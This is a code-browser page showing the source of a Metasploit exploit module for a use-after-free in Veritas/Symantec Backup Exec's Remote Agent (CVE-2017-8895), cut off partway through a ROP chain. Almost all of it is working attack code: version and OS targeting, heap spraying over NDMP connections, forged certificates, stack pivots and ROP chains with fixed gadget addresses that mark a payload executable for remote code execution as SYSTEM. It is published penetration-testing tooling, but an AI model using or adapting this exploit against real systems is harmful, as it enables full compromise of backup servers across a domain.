Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/backupexec/ssl_uaf.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##456require 'openssl'7require 'xdr'89class MetasploitModule < Msf::Exploit::Remote10Rank = NormalRanking1112include Msf::Exploit::Remote::Tcp13include Msf::Exploit::Remote::NDMPSocket1415def initialize(info={})16super(update_info(info,17'Name' => 'Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free',18'Description' => %q{19This module exploits a use-after-free vulnerability in the handling of SSL NDMP20connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL21is re-established on a NDMP connection that previously has had SSL established,22the BIO struct for the connection's previous SSL session is reused, even though it23has previously been freed.2425This module supports 3 specific versions of the Backup Exec agent in the 14, 1526and 16 series on 64-bit and 32-bit versions of Windows and has been tested from27Vista to Windows 10. The check command can help narrow down what major and minor28revision is installed and the precise of version of Windows, but some other29information may be required to make a reliable choice of target.3031NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a32reliability of around 85%. On other versions of Windows, reliability is around 35%33(due to the need to win a race condition across the network in this case; this may34drop further depending on network conditions). The agent is normally installed on35all hosts in a domain that need to be backed up, so if one service crashes, try36again on another :) Successful exploitation will give remote code execution as the37user of the Backup Exec Remote Agent for Windows service, almost always38NT AUTHORITY\SYSTEM.39},40'License' => MSF_LICENSE,41'Author' => [ 'Matthew Daley' ],42'References' =>43[44[ 'CVE', '2017-8895' ],45[ 'VTS', '17-006' ],46[ 'URL', 'https://www.veritas.com/content/support/en_US/security/VTS17-006.html' ]47],48'Platform' => 'win',49'Stance' => Msf::Exploit::Stance::Aggressive,50'Payload' =>51{52'DisableNops' => true53},54'Targets' =>55[56[57'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64',58{ 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => true }59],60[61'Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86',62{ 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => true }63],64[65'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64',66{ 'Version' => 14, 'Arch' => ARCH_X64, 'Win8Upwards' => false }67],68[69'Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86',70{ 'Version' => 14, 'Arch' => ARCH_X86, 'Win8Upwards' => false }71],72[73'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64',74{ 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => true }75],76[77'Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86',78{ 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => true }79],80[81'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64',82{ 'Version' => 15, 'Arch' => ARCH_X64, 'Win8Upwards' => false }83],84[85'Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86',86{ 'Version' => 15, 'Arch' => ARCH_X86, 'Win8Upwards' => false }87],88[89'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64',90{ 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => true }91],92[93'Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86',94{ 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => true }95],96[97'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64',98{ 'Version' => 16, 'Arch' => ARCH_X64, 'Win8Upwards' => false }99],100[101'Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86',102{ 'Version' => 16, 'Arch' => ARCH_X86, 'Win8Upwards' => false }103]104],105'DefaultOptions' =>106{107'RPORT' => 10000,108'NumTriggerAttempts' => 50,109'EXITFUNC' => 'thread'110},111'Privileged' => true,112'DisclosureDate' => '2017-05-10',113'DefaultTarget' => 8))114115register_options([116OptInt.new('NumSpraySockets', [ false, 'Number of sockets to spray stage 1 with' ]),117OptInt.new('NumTLSSpraySockets', [ false, 'Number of sockets to spray TLS extensions with' ]),118OptInt.new('NumTriggerAttempts', [ true, 'Number of attempts to trigger the vulnerability (Windows 8+ only)' ])119])120end121122def check123s = NDMP::Socket.new(connect)124return CheckCode::Unknown unless connect_ndmp(s, 2)125126resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_HOST_INFO))127return CheckCode::Unknown unless resp128info = HostInfoResponse.from_xdr(resp.body)129print_line('Hostname: ' + info.hostname)130print_line('OS type: ' + info.os_type)131print_line('OS version: ' + info.os_version)132print_line('Host ID: ' + info.host_id)133134disconnect135s = NDMP::Socket.new(connect)136return CheckCode::Unknown unless connect_ndmp(s, 3)137138resp = s.do_request_response(NDMP::Message.new_request(NDMP::Message::CONFIG_GET_SERVER_INFO))139return CheckCode::Unknown unless resp140info = ServiceInfoResponse.from_xdr(resp.body)141print_line('Vendor: ' + info.vendor_name)142print_line('Product: ' + info.product_name)143print_line('Revision: ' + info.revision_number)144145ver = info.revision_number.split('.')146if ver[0].to_i < 9 || (ver[0].to_i == 9 && ver[1].to_i <= 2)147CheckCode::Appears148else149CheckCode::Detected150end151end152153def exploit154print_status('Connecting sockets...')155156# Connect a differing amount of sockets for stage 1 spraying depending on the target157spray_socks = connect_additional_sockets(158datastore['NumSpraySockets'] || (target.opts['Win8Upwards'] ? 100 : 200),159target.opts['Arch'] == ARCH_X64 && target.opts['Win8Upwards'] ? 2 : 3160)161162# Likewise, connect a differing amount of sockets for TLS extension spraying depending163# on the target164num_tls_spray_socks = datastore['NumTLSSpraySockets'] || (165case target.opts['Version']166when 141670168when 15169target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 ? 50 : 100170when 16171target.opts['Arch'] == ARCH_X64 ? 100 : 0172end173)174tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3)175176s = NDMP::Socket.new(connect)177unless connect_ndmp(s, 3)178fail_with(Failure::UnexpectedReply, "Couldn't connect main socket")179end180181ca_cert, ca_key = generate_ca_cert_and_key182ca_cert_id = get_cert_id(ca_cert)183print_status("CA certificate ID = #{ca_cert_id.to_s(16)}")184185print_status('Getting and handling a certificate signing request...')186agent_cert = handle_a_csr(s, ca_cert, ca_key)187fail_with(Failure::UnexpectedReply, "Couldn't sign certificate request") if agent_cert.nil?188print_status("Agent certificate ID = #{get_cert_id(agent_cert).to_s(16)}")189190if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X86 && target.opts['Version'] != 15191# For certain target types, put the stage 1 spray sockets into SSL mode. We can use192# the newly made CA certificate and key as our client side certificate193ssl_context = OpenSSL::SSL::SSLContext.new194ssl_context.cert = ca_cert195ssl_context.key = ca_key196print_status('Entering spray sockets into SSL mode...')197(1..2).each do |phase|198spray_socks.each do |ss|199require_empty_ssl_request(ss, SSLRequest::Opcode.test_cert, ca_cert_id, phase)200require_empty_ssl_request(ss, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)201ss.wrap_with_ssl(ssl_context) if phase == 2202end203end204end205206print_status('Testing certificate...')207require_empty_ssl_request(s, SSLRequest::Opcode.test_cert, ca_cert_id)208209# For some targets, split the spraying of TLS extensions around entering SSL on the210# main socket211tls_cutoff = tls_spray_socks.length212if target.opts['Win8Upwards']213if target.opts['Arch'] == ARCH_X86214tls_cutoff /= 2215end216else217tls_cutoff /= 10218end219spray_tls_extensions(tls_spray_socks[0...tls_cutoff], ca_cert_id)220221print_status('Entering SSL mode on main socket...')222require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)223224spray_tls_extensions(tls_spray_socks[tls_cutoff...tls_spray_socks.length], ca_cert_id)225226# Send stages 2 to 4 in a TLS or SSLv2 handshake record. We do this so that the other227# stages are contained in the SSL socket buffer at the time of the UAF. The record228# itself could be considered stage 1.5 as stage 1 will pivot to somewhere within the229# record (depending on the amount of trigger attempts required; see attempt_triggers)230print_status('Sending stages 2 to 4...')231if target.opts['Arch'] == ARCH_X64232if target.opts['Version'] == 14233# x64, version 14. Use a TLS handshake record234#235# Windows 8+:236# Stage 1 jumps to 0x1d or 0x30 + [0, NumTriggerAttempts - 2] * 8237# 0 1 2 3 4 5 6 7 8 9 A B C D E F238# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+239# 0 | 16 | 03 | 01 | length | FILLER240# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+241# 10 | ret 3242# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+243# 20 | ret | FILLER |244# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+245# 30 | retsled (0x10 aligned length)... |246# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+247# .. | stages 2-4...248# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+249#250# Otherwise:251# Stage 1 jumps to 0x18252# 0 1 2 3 4 5 6 7 8 9 A B C D E F253# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+254# 0 | 16 | 03 | 01 | length | FILLER255# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+256# 10 | ret |257# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+258# 20 | stages 2-4...259# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+260261ret = [0xbe6c897].pack('Q<')262if target.opts['Win8Upwards']263ret_3 = [0xbe2829b].pack('Q<')264payload = rand_text(24) + ret_3 + ret + rand_text(3) +265ret * [0, (datastore['NumTriggerAttempts'] - 1) & ~1].max266else267payload = rand_text(19) + ret268end269payload << generate_stages_2_to_4270271stage_tls = generate_tls_handshake_record(payload)272else273# x64, version 15/16. Use a SSLv2 hqndshake record274# Windows 8+: Stage 1 jumps to 0x23 or 0x38 + [0, NumTriggerAttempts - 2] * 8275# Otherwise: Stage 1 jumps to 0x18276# 0 1 2 3 4 5 6 7 8 9 A B C D E F277# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+278# 0 | length | 01 | 03 | FILLER279# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+280# 10 | pop x3; ret |281# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+282# 20 | FILLER | ret 5 | ret283# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+284# 30 | FILLER | retsled (0x8 aligned length)... |285# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+286# 40 | stages 2 - 4...287# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+288289pop_x3 = [0xbe1d920].pack('Q<')290ret_5 = [target.opts['Version'] == 15 ? 0xbe61731 : 0xbe62c16].pack('Q<')291ret = [0xbe6c897].pack('Q<')292payload = rand_text(20) + pop_x3 + rand_text(3) + ret_5 + ret + rand_text(5) +293ret * [1, (datastore['NumTriggerAttempts'] & ~1) - 1].max +294generate_stages_2_to_4295296stage_tls = generate_tls_in_sslv2_clienthello(payload)297end298else299if target.opts['Version'] == 14300# x86, version 14. Use a TLS handshake record301# Windows 8+: Stage 1 jumps to 0x9 or 0x14 + [0, NumTriggerAttempts - 2] * 4302# Otherwise: Stage 1 jumps to 0x4303# 0 1 2 3 4 5 6 7 8 9 A B C D E F304# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+305# 0 | 16 | 03 | 01 | ln | pop x3; ret | FL | ret 3 | ret306# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+307# 10 | FILLER | retsled... | stages 2 to 4...308# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+309310pop_x3 = [0x6311f901].pack('L<')311ret_3 = [0x6312164a].pack('L<')312ret = [0x63101514].pack('L<')313payload = (pop_x3[1...pop_x3.length] + rand_char + ret_3 + ret + rand_text(3) +314ret * [0, datastore['NumTriggerAttempts'] - 2].max + generate_stages_2_to_4)315316stage_tls = generate_tls_handshake_record(payload, pop_x3[0])317else318# x86, version 15/16. Use a SSLv2 hqndshake record319# Windows 8+: Stage 1 jumps to 0xf or 0x14 + [0, NumTriggerAttempts - 2] * 4320# Otherwise: Stage 1 jumps to 0x4321# 0 1 2 3 4 5 6 7 8 9 A B C D E F322# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+323# 0 | length | 01 | 03 | add esp, 0xc; ret | FILLER | inc esp; ret324# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+325# 10 | FL | retsled... | stages 2 to 4...326# +----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+----+327328add_esp_0xc = [target.opts['Version'] == 15 ? 0x6312890f : 0x6312898f].pack('L<')329inc_esp = [target.opts['Version'] == 15 ? 0x6311c68c : 0x63137b1b].pack('L<')330ret = [0x63101564].pack('L<')331payload = add_esp_0xc + rand_text(7) + inc_esp + rand_char +332ret * [0, datastore['NumTriggerAttempts'] - 3].max +333generate_stages_2_to_4334335stage_tls = generate_tls_in_sslv2_clienthello(payload)336end337end338s.raw_sendall(stage_tls, 0)339if target.opts['Version'] == 14340resp = s.raw_recv(5)341fail_with(Failure::UnexpectedReply, 'Failed to read TLS handshake response. Are you sure you selected the right target version?') if resp.empty?342s.raw_recv(resp[3...5].unpack('n')[0])343end344345print_status('Closing TLS spray sockets...')346tls_spray_socks.reverse! unless target.opts['Win8Upwards']347tls_spray_socks.each do |ts|348ts.close349sleep(0.1)350end351sleep(1)352353# Spray stage 1 in the string payloads of selected NDMP packet types354if target.opts['Win8Upwards'] && target.opts['Arch'] == ARCH_X64355spray_payload = XDR::String[].to_xdr(generate_stage_1[0...-1])356spray_msg_type = NDMP::Message::CONFIG_GET_BUTYPE_ATTR357else358spray_payload = XDR::Int.to_xdr(1) + XDR::String[].to_xdr(generate_stage_1[0...-1]) * 2359spray_msg_type = NDMP::Message::CONNECT_CLIENT_AUTH360end361spray_msg = NDMP::Message.new_request(spray_msg_type, spray_payload)362363# We need to be able to detect as soon as a connection is made to the payload in order364# to stop spraying/trigger attempts ASAP365@payload_connected = false366if payload_instance.respond_to?(:handle_connection)367old_handle_connect = payload_instance.method(:handle_connection)368payload_instance.define_singleton_method(:handle_connection) do |*args|369@payload_connected = true370old_handle_connect.call(*args)371end372end373374if target.opts['Win8Upwards']375# After this SSL request, the BIO struct is freed but still referred to in the new376# SSL context377print_status('Re-entering SSL mode on main socket...')378require_empty_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id)379380# Attempt to overwrite the BIO struct with stage 1 and trigger the UAF381attempt_triggers(s, spray_socks, spray_msg)382else383# Attempt to overwrite the BIO struct with stage 1 and trigger the UAF in a race384attempt_race(s, spray_socks, spray_msg, ca_cert_id)385end386387handler388end389390private391392SSL_HANDSHAKE_REQUEST = 0xf383393394class SSLRequest < XDR::Struct395class Opcode < XDR::Enum396member :test_cert, 1397member :get_csr_req, 2398member :give_signed_cert, 3399member :start_ssl, 4400seal401end402403attribute :opcode, Opcode404attribute :media_server_name, XDR::String[]405attribute :media_server_fqdn, XDR::String[]406attribute :media_server_addr, XDR::String[]407attribute :cert_id_1, XDR::Int408attribute :cert_id_2, XDR::Int409attribute :unknown1, XDR::Int410attribute :unknown2, XDR::Int411attribute :unknown3, XDR::Int412attribute :ca_cert, XDR::String[]413attribute :unknown4, XDR::Int414attribute :agent_cert, XDR::String[]415416def self.new_for_opcode(opcode)417new(418:opcode => opcode,419:media_server_name => 'foo',420:media_server_fqdn => 'foo',421:media_server_addr => 'foo',422:cert_id_1 => 0,423:cert_id_2 => 0,424:unknown1 => 0,425:unknown2 => 0,426:unknown3 => 0,427:ca_cert => '',428:unknown4 => 0,429:agent_cert => ''430)431end432end433434class SSLResponse < XDR::Struct435attribute :unknown1, XDR::Int436attribute :unknown2, XDR::String[]437attribute :unknown3, XDR::Int438attribute :unknown4, XDR::String[]439440def empty?441(attributes[:unknown1].zero? && attributes[:unknown2].empty? &&442attributes[:unknown3].zero? && attributes[:unknown4].empty?)443end444end445446class ServiceInfoResponse < XDR::Struct447attribute :error, XDR::Int448attribute :vendor_name, XDR::String[]449attribute :product_name, XDR::String[]450attribute :revision_number, XDR::String[]451attribute :auth_types, XDR::VarArray[XDR::Int]452end453454class HostInfoResponse < XDR::Struct455attribute :error, XDR::Int456attribute :hostname, XDR::String[]457attribute :os_type, XDR::String[]458attribute :os_version, XDR::String[]459attribute :host_id, XDR::String[]460attribute :unknown, XDR::VarArray[XDR::Int]461end462463#464# Perform NDMP connection handshake on a NDMP socket. Can be split into 3 stages.465#466def connect_ndmp(s, version, phase=nil)467if phase.nil? || phase == 1468return false unless s.read_ndmp_msg(NDMP::Message::NOTIFY_CONNECTED)469end470471if phase.nil? || phase == 2472return false unless s.prepare_and_write_ndmp_msg(473NDMP::Message.new_request(NDMP::Message::CONNECT_OPEN, XDR::Int.to_xdr(version))474)475end476477if phase.nil? || phase == 3478msg = s.read_ndmp_msg(NDMP::Message::CONNECT_OPEN)479return false unless msg480fail_with(Failure::UnexpectedReply, 'Bad connect result') unless XDR::Int.from_xdr(msg.body).zero?481end482483true484end485486#487# Connect multiple NDMP sockets of a given version. Parallelizes over connection phases.488#489def connect_additional_sockets(num_socks, version)490socks = (0...num_socks).map do491NDMP::Socket.new(connect(false))492end493494(1..3).each do |phase|495socks.each do |ss|496unless connect_ndmp(ss, version, phase)497fail_with(Failure::UnexpectedReply, "Couldn't connect NDMP socket (phase #{phase})")498end499end500end501502socks503end504505#506# Send a Backup Exec-specific SSL NDMP request and receive the response.507#508def do_simple_ssl_request(s, opcode, ca_cert_id, phase=nil)509if phase.nil? || phase == 1510req = SSLRequest.new_for_opcode(opcode)511req.cert_id_1 = req.cert_id_2 = ca_cert_id512msg = NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr)513514if block_given?515last = s.prepare_and_write_ndmp_msg(msg, true)516return nil unless last517sleep(1)518yield true519s.raw_sendall(last, 0)520yield false521else522return nil unless s.prepare_and_write_ndmp_msg(msg)523end524end525526if phase.nil? || phase == 2527msg = s.read_ndmp_msg(SSL_HANDSHAKE_REQUEST)528return msg ? SSLResponse.from_xdr(msg.body) : nil529end530531nil532end533534#535# Send a Backup Exec SSL NDMP request and receive the response, requiring the response536# to be empty.537#538def require_empty_ssl_request(s, opcode, ca_cert_id, phase=nil)539resp = do_simple_ssl_request(s, opcode, ca_cert_id, phase)540if phase.nil? || phase == 2541fail_with(Failure::UnexpectedReply, "Failed to perform SSL request/response (opcode #{opcode})") unless resp542fail_with(Failure::UnexpectedReply, "Non-empty SSL response (opcode #{opcode}) result") unless resp.empty?543end544end545546#547# Get the ID Backup Exec uses to identify a x509 certificate. This is the first 4 bytes548# of the SHA-1 of the issuer and the raw serial number.549#550def get_cert_id(cert)551Digest::SHA1.digest(cert.issuer.to_s + cert.serial.to_s(2))[0...4].unpack('L<')[0]552end553554#555# Create a self-signed CA certificate and matching key.556#557def generate_ca_cert_and_key(key_len=2048)558ca_key = OpenSSL::PKey::RSA.new(key_len)559560ca_cert = OpenSSL::X509::Certificate.new561ca_cert.version = 3562ca_cert.serial = 1563ca_cert.subject = ca_cert.issuer = OpenSSL::X509::Name.parse('/CN=SSL UAF')564ca_cert.not_before = Time.now - 60 * 60 * 24565ca_cert.not_after = Time.now + 60 * 60 * 24 * 365566ca_cert.public_key = ca_key.public_key567568extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, ca_cert)569ca_cert.extensions = [570extn_factory.create_extension('subjectKeyIdentifier', 'hash'),571extn_factory.create_extension('basicConstraints', 'critical,CA:true')572]573# Have to do this after creating subjectKeyIdentifier extension574ca_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))575576ca_cert.sign(ca_key, OpenSSL::Digest.new('SHA256'))577578[ca_cert, ca_key]579end580581#582# Get and handle a certificate signing request from Backup Exec with the given CA583# certificate and key.584#585def handle_a_csr(s, ca_cert, ca_key)586resp = do_simple_ssl_request(s, SSLRequest::Opcode.get_csr_req, 0)587return nil if resp.nil?588request = OpenSSL::X509::Request.new(resp.unknown2)589590agent_cert = OpenSSL::X509::Certificate.new591agent_cert.version = 3592agent_cert.serial = 2593agent_cert.subject = request.subject594agent_cert.issuer = ca_cert.subject595agent_cert.not_before = Time.now - 60 * 60 * 24596agent_cert.not_after = Time.now + 60 * 60 * 24 * 365597agent_cert.public_key = request.public_key598599extn_factory = OpenSSL::X509::ExtensionFactory.new(ca_cert, agent_cert)600agent_cert.extensions = [601extn_factory.create_extension('subjectKeyIdentifier', 'hash'),602extn_factory.create_extension('basicConstraints', 'critical,CA:false')603]604# Have to do this after creating subjectKeyIdentifier extension605agent_cert.add_extension(extn_factory.create_extension('authorityKeyIdentifier', 'keyid:always,issuer'))606607agent_cert.sign(ca_key, OpenSSL::Digest.new('SHA256'))608609req = SSLRequest.new_for_opcode(SSLRequest::Opcode.give_signed_cert)610req.ca_cert = ca_cert.to_s611req.agent_cert = agent_cert.to_s612return nil unless s.do_request_response(NDMP::Message.new_request(SSL_HANDSHAKE_REQUEST, req.to_xdr))613614agent_cert615end616617#618# Generate a TLS handshake record with the given payload.619#620def generate_tls_handshake_record(payload, required_fifth_byte=nil)621fail_with(Failure::Unknown, 'No payload') if payload.empty?622623# Stage 1 for the x86 version 14 target jumps into the TLS header itself (at offset624# 0x4) instead of in non-header data; here it's necessary to control the 5th byte of625# the header, which is the second byte of the length word626unless required_fifth_byte.nil?627payload << rand_text((required_fifth_byte.ord - (payload.length & 0xff)) % 0x100)628end629"\x16\x03\x01" + [payload.length].pack('n') + payload630end631632#633# Generate a TLS ClientHello record with the given Random and extensions (ie. for634# holding stages 2-4).635#636def generate_tls_clienthello(curves_extn_payload, ec_formats_extn_payload, random)637if ec_formats_extn_payload.empty? && curves_extn_payload.empty?638fail_with(Failure::Unknown, 'No TLS extension payloads given')639end640if ec_formats_extn_payload.length > 0xff641fail_with(Failure::Unknown, 'Bad EC formats extension length')642end643if curves_extn_payload.length.odd? || curves_extn_payload.length > 0xffff644fail_with(Failure::Unknown, 'Bad curves extension length')645end646if random.length != 0x20647fail_with(Failure::Unknown, 'Bad random length')648end649650extns = ''651unless curves_extn_payload.empty?652extns << [65310,654curves_extn_payload.length + 2,655curves_extn_payload.length656].pack('n*') + curves_extn_payload657end658unless ec_formats_extn_payload.empty?659extns << [66011,661ec_formats_extn_payload.length + 1,662ec_formats_extn_payload.length663].pack('nnC') + ec_formats_extn_payload664end665666r = "\x03\x03" + random + "\x00\x00\x02\x00\x2f\x01\x00"667r << [extns.length].pack('n') + extns668669r = "\x01" + [r.length].pack('N')[1...4] + r670671generate_tls_handshake_record(r)672end673674#675# Generate a TLS ClientHello record in a SSLv2 record with a given payload.676#677def generate_tls_in_sslv2_clienthello(payload)678fail_with(Failure::Unknown, 'No payload') if payload.empty?679fail_with(Failure::Unknown, 'Bad first byte') unless payload[0].ord >= 1680681r = "\x01\x03" + payload682[r.length | 0x8000].pack('n') + r683end684685#686# Spray a bunch of TLS extensions from the given NDMP sockets. Used for heap feng shui.687#688def spray_tls_extensions(tls_spray_socks, ca_cert_id)689payload_len = target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40690spray = generate_tls_clienthello(rand_text(payload_len), rand_text(payload_len), rand_text(0x20))691692print_status('Spraying TLS extensions...')693(1..2).each do |phase|694tls_spray_socks.each do |ts|695require_empty_ssl_request(ts, SSLRequest::Opcode.test_cert, ca_cert_id, phase)696require_empty_ssl_request(ts, SSLRequest::Opcode.start_ssl, ca_cert_id, phase)697698if phase == 2699ts.raw_sendall(spray, 0)700sleep(0.1)701end702end703end704sleep(1)705end706707#708# Generate stage 1.709#710# This stage is what overwrites the freed BIO struct. It consists of a non-zero readable711# location (to prevent Backup Exec from falling over or failing) and a stack pivot to712# some offset from the current SSL socket buffer read location, which will hold a713# TLS/SSLv2 record (from the previous SSL connection) holding stages 2-4. The pivot714# offset will be different at each UAF trigger attempt; see attempt_triggers).715#716def generate_stage_1717if target.opts['Arch'] == ARCH_X64718stage_1 = [719# +0x18 from here is a non-zero, readable location. This is the load address of720# becrypto.dll (which is non-ASLR)7210xbe00000,722# On x64, we pivot into the current SSL socket buffer read location + 0x18723# lea rsp, qword ptr [rbp + 0x10]; pop rbp; ret724[0xbe5ecf2, 0xbe23261, 0xbe2329b][target.opts['Version'] - 14]725].pack('Q<*')726else727stage_1 = [728# +0x18 from here is a non-zero, readable location. This is the load address of729# becrypto.dll (which is non-ASLR)7300x63100000,731# On x86, we pivot into the current SSL socket buffer read location + 0x4732# mov esp, ebp; pop ebp; ret733target.opts['Version'] == 14 ? 0x631017fd : 0x6310184d734].pack('L<*')735end736stage_1 + rand_text((target.opts['Arch'] == ARCH_X64 ? 0x68 : 0x40) - stage_1.length)737end738739#740# Generate stages 2 to 4.741#742# Stage 2 is a ROP chain that copies stages 3 and 4 from the heap (that stage 1 pivoted743# to) onto the stack, bypassing Windows 8+'s check before certain functions (like744# VirtualProtect) that we have called them from within expected stack memory instead of745# the heap.746#747# Stage 3 is a ROP chain that calls VirtualProtect to mark stages 3 and 4 as executable748# (but we only really need stage 4 executable anyway).749#750# Stage 4 is the user-selected Metasploit payload code.751#752def generate_stages_2_to_4753stage_4 = payload.encoded754755if target.opts['Arch'] == ARCH_X64756if target.opts['Version'] == 14757stage_3 = [7580, # skipped by stage 27590xbe31359, # push rax; pop rsi; ret7600xbe01f72, # pop rax; ret7610,7620xbe3d250, # add rax, rcx; ret7630xbe1c2f9, # pop r12; ret7640xbe2ab32, # pop r8; ret7650xbe2987c, # mov rcx, rax; call r127660xbe46d9e, # jmp qword ptr [KERNEL32!LoadLibraryW]7670xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret7680,7690,7700,7710,7720xbe37f75, # push rax; pop rdi; ret7730xbe43b25, # mov rcx, rsi; call r127740xbe01f72, # pop rax; ret7750,7760xbe3d250, # add rax, rcx; ret7770xbe6949a, # push rax; pop r12; ret7780xbe4f7ec, # pop r14; pop r13; ret7790xbe2ab32, # pop r8; ret7800,7810xbe2f917, # mov rdx, r12; mov ecx, 4; call r147820xbe01f72, # pop rax; ret7830xbe2ab32, # pop r8; ret7840xbe36e8e, # mov rcx, rdi; call rax7850xbe01a29, # ret7860xbe46d32, # jmp qword ptr [KERNEL32!GetProcAddressStub]7870xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret7880,7890,7900,7910,7920xbe37f75, # push rax; pop rdi; ret7930xbe1c2f9, # pop r12; ret7940xbe2ab32, # pop r8; ret7950xbe43b25, # mov rcx, rsi; call r127960xbe399d0, # pop r13; ret7971 << 31,7980xbe33c3e, # mov rdx, r13; call r127990xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret8000xbe399d0, # pop r13; ret8010,8020xbe33c3e, # mov rdx, r13; call r128030xbe2ab32, # pop r8; ret8040x40, # PAGE_EXECUTE_READWRITE8050xbe01a29, # ret8060xbe5180b, # jmp rdi8070xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret8080,8090,8100,8110,8120xbe63938 # push rsp; ret813]814stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length815kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT')816stage_3[17] = stage_3[3] + kernel32_dll.length817stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0"818elsif target.opts['Version'] == 15819stage_3 = [8200xbe68a34, # push rax; pop rbx; ret8210xbe087c8, # pop rax; ret8220,8230xbe60dc0, # add rax, rcx; ret8240xbe9b627, # mov rcx, rax; call r128250xbe4929d, # ret8260xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]8270xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret8280,8290,8300,8310,8320xbe34c0c, # push rax; pop rbp; ret8330xbefc534, # mov rcx, rbx; call r128340xbe087c8, # pop rax; ret8350,8360xbe60dc0, # add rax, rcx; ret8370xbe9b627, # mov rcx, rax; call r128380xbefc526, # mov rdx, rcx; call r128390xbe9ad68, # mov rcx, rbp; call r128400xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub]8410xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret8420,8430,8440,8450,8460xbe43269, # push rax; pop rsi; ret8470xbefc534, # mov rcx, rbx; call r128480xbebd50e, # pop r13; ret8490,8500xbe97c4e, # mov rdx, r13; call r128510xbeae99d, # pop r8; ret8520x40, # PAGE_EXECUTE_READWRITE8530xbe3c9c0, # test rdx, rdx; setne al; ret8540xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret8550xbe4929d, # ret8560xbe9436d, # jmp rsi8570xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret8580,8590,8600,8610,8620xbe2184d, # pop rdi; ret8630xbebd50e, # pop r13; ret8640xbe9a8ac # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi865]866stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length867stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length868stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"869elsif target.opts['Version'] == 16870stage_3 = [8710xbe4e888, # push rax; pop rbx; ret8720xbe01f72, # pop rax; ret8730,8740xbe610f0, # add rax, rcx; ret8750xbe9c70c, # mov rcx, rax; call r128760xbe01c2c, # ret8770xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]8780xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret8790,8800,8810,8820,8830xbe12ed0, # pop rdi; ret8840xbe45a01, # pop r13; 